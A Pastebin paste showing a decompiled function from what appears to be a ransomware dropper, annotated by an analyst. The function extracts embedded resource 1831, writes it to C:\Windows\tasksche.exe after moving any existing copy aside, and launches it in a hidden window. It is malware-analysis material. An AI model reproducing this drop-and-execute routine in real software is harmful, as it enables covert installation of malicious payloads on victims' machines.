Advertisement
GlobalHell2K17

write_1831_to_tasksche.exe (FUN_00407ce0) Decompiled

May 18th, 2019
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.87 KB | None | 0 0
  1. undefined4 write_1831_to_tasksche.exe(void)
  2.  
  3. {
  4.   char cVar1;
  5.   HMODULE hModule;
  6.   HRSRC res1831_info;
  7.   HGLOBAL res1831_handle;
  8.   DWORD res1831_size;
  9.   HANDLE createdFileHandle;
  10.   BOOL BVar2;
  11.   int iVar3;
  12.   uint uVar4;
  13.   uint uVar5;
  14.   undefined **ppuVar6;
  15.   LPSTR *ppCVar7;
  16.   undefined **ppuVar8;
  17.   char *pcVar9;
  18.   char *pcVar10;
  19.   HANDLE hObject;
  20.   HANDLE hObject_00;
  21.   LPVOID res1831_locked;
  22.   _STARTUPINFOA _Stack592;
  23.   char acStack524 [4];
  24.   char tasksche_path;
  25.   undefined4 unknown_buffer_nulled [64];
  26.   char qeriuwjhrf_path;
  27.   undefined4 unknown_buffer2_nulled [64];
  28.   undefined4 *puVar9;
  29.  
  30.                     /* Get Handle To kernel32.dll */
  31.   hModule = GetModuleHandleW(u_kernel32.dll_004313b4);
  32.   if (hModule != (HMODULE)0x0) {
  33.     createProcessA = (CreateProcessA *)GetProcAddress(hModule,s_CreateProcessA_004313a4);
  34.     _createFileA = (CreateFileA *)GetProcAddress(hModule,s_CreateFileA_00431398);
  35.     _writeFile = (WriteFile *)GetProcAddress(hModule,s_WriteFile_0043138c);
  36.     _closeHandle = (CloseHandle *)GetProcAddress(hModule,s_CloseHandle_00431380);
  37.     if ((((createProcessA != (CreateProcessA *)0x0) && (_createFileA != (CreateFileA *)0x0)) &&
  38.         (_writeFile != (WriteFile *)0x0)) && (_closeHandle != (CloseHandle *)0x0)) {
  39.       res1831_info = FindResourceA((HMODULE)0x0,(LPCSTR)1831,&DAT_0043137c);
  40.       if (res1831_info != (HRSRC)0x0) {
  41.         res1831_handle = LoadResource((HMODULE)0x0,res1831_info);
  42.         if (res1831_handle != (HGLOBAL)0x0) {
  43.           res1831_locked = LockResource(res1831_handle);
  44.           if (res1831_locked != (LPVOID)0x0) {
  45.             res1831_size = SizeofResource((HMODULE)0x0,res1831_info);
  46.             if (res1831_size != 0) {
  47.               iVar3 = 0x40;
  48.               tasksche_path = 0;
  49.               puVar9 = unknown_buffer_nulled;
  50.               while (iVar3 != 0
  51.                     /* memset(puVar9, 0, 0x40/64) */) {
  52.                 iVar3 = iVar3 + -1;
  53.                 *puVar9 = 0;
  54.                 puVar9 = puVar9 + 1;
  55.               }
  56.               *(undefined2 *)puVar9 = 0;
  57.               *(undefined *)((int)puVar9 + 2) = 0;
  58.               iVar3 = 0x40;
  59.               qeriuwjhrf_path = 0;
  60.               puVar9 = unknown_buffer2_nulled;
  61.               while (iVar3 != 0
  62.                     /* memset(puVar9, 0, 0x40/64) */) {
  63.                 iVar3 = iVar3 + -1;
  64.                 *puVar9 = 0;
  65.                 puVar9 = puVar9 + 1;
  66.               }
  67.               *(undefined2 *)puVar9 = 0;
  68.               *(undefined *)((int)puVar9 + 2) = 0;
  69.                     /* C:\Windows\tasksche.exe */
  70.               sprintf(&tasksche_path,s_C:\%s\%s_00431358,s_WINDOWS_00431364,s_tasksche.exe_0043136c)
  71.               ;
  72.                     /* C:\Windows\qeriuwjhrf */
  73.               sprintf(&qeriuwjhrf_path,s_C:\%s\qeriuwjhrf_00431344,s_WINDOWS_00431364);
  74.               MoveFileExA(&tasksche_path,&qeriuwjhrf_path,1);
  75.               createdFileHandle =
  76.                    (*_createFileA)(&tasksche_path,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,4,
  77.                                    (HANDLE)0x0);
  78.               if (createdFileHandle != (HANDLE)0xffffffff) {
  79.                 (*_writeFile)(createdFileHandle,res1831_locked,res1831_size,(LPDWORD)&res1831_locked
  80.                               ,(LPOVERLAPPED)0x0);
  81.                 (*_closeHandle)(createdFileHandle);
  82.                 iVar3 = 0x10;
  83.                 ppCVar7 = &_Stack592.lpReserved;
  84.                 while (iVar3 != 0) {
  85.                   iVar3 = iVar3 + -1;
  86.                   *ppCVar7 = (LPSTR)0x0;
  87.                   ppCVar7 = ppCVar7 + 1;
  88.                 }
  89.                 uVar4 = 0xffffffff;
  90.                 ppuVar6 = &PTR_DAT_00431340;
  91.                 do {
  92.                   ppuVar8 = ppuVar6;
  93.                   if (uVar4 == 0) break;
  94.                   uVar4 = uVar4 - 1;
  95.                   ppuVar8 = (undefined **)((int)ppuVar6 + 1);
  96.                   cVar1 = *(char *)ppuVar6;
  97.                   ppuVar6 = ppuVar8;
  98.                 } while (cVar1 != 0);
  99.                 uVar4 = ~uVar4;
  100.                 res1831_locked = (LPVOID)0x0;
  101.                 iVar3 = -1;
  102.                 pcVar9 = acStack524;
  103.                 do {
  104.                   pcVar10 = pcVar9;
  105.                   if (iVar3 == 0) break;
  106.                   iVar3 = iVar3 + -1;
  107.                   pcVar10 = pcVar9 + 1;
  108.                   cVar1 = *pcVar9;
  109.                   pcVar9 = pcVar10;
  110.                 } while (cVar1 != 0);
  111.                 uVar5 = uVar4 >> 2;
  112.                 ppuVar6 = (undefined **)((int)ppuVar8 - uVar4);
  113.                 puVar9 = (undefined4 *)(pcVar10 + -1);
  114.                 while (uVar5 != 0) {
  115.                   uVar5 = uVar5 - 1;
  116.                   *(undefined **)puVar9 = *ppuVar6;
  117.                   ppuVar6 = ppuVar6 + 1;
  118.                   puVar9 = puVar9 + 1;
  119.                 }
  120.                 uVar4 = uVar4 & 3;
  121.                 while (uVar4 != 0) {
  122.                   uVar4 = uVar4 - 1;
  123.                   *(undefined *)puVar9 = *(undefined *)ppuVar6;
  124.                   ppuVar6 = (undefined **)((int)ppuVar6 + 1);
  125.                   puVar9 = (undefined4 *)((int)puVar9 + 1);
  126.                 }
  127.                 hObject_00 = (HANDLE)0x0;
  128.                 hObject = (HANDLE)0x0;
  129.                 _Stack592.cb = 0x44;
  130.                 _Stack592.wShowWindow = 0;
  131.                 _Stack592.dwFlags = 0x81;
  132.                 BVar2 = (*createProcessA)((LPCSTR)0x0,acStack524,(LPSECURITY_ATTRIBUTES)0x0,
  133.                                           (LPSECURITY_ATTRIBUTES)0x0,0,0x8000000,(LPVOID)0x0,
  134.                                           (LPCSTR)0x0,(LPSTARTUPINFOA)&_Stack592,
  135.                                           (LPPROCESS_INFORMATION)&res1831_locked);
  136.                 if (BVar2 != 0) {
  137.                   (*_closeHandle)(hObject_00);
  138.                   (*_closeHandle)(hObject);
  139.                 }
  140.               }
  141.             }
  142.           }
  143.         }
  144.       }
  145.     }
  146.   }
  147.   return 0;
  148. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement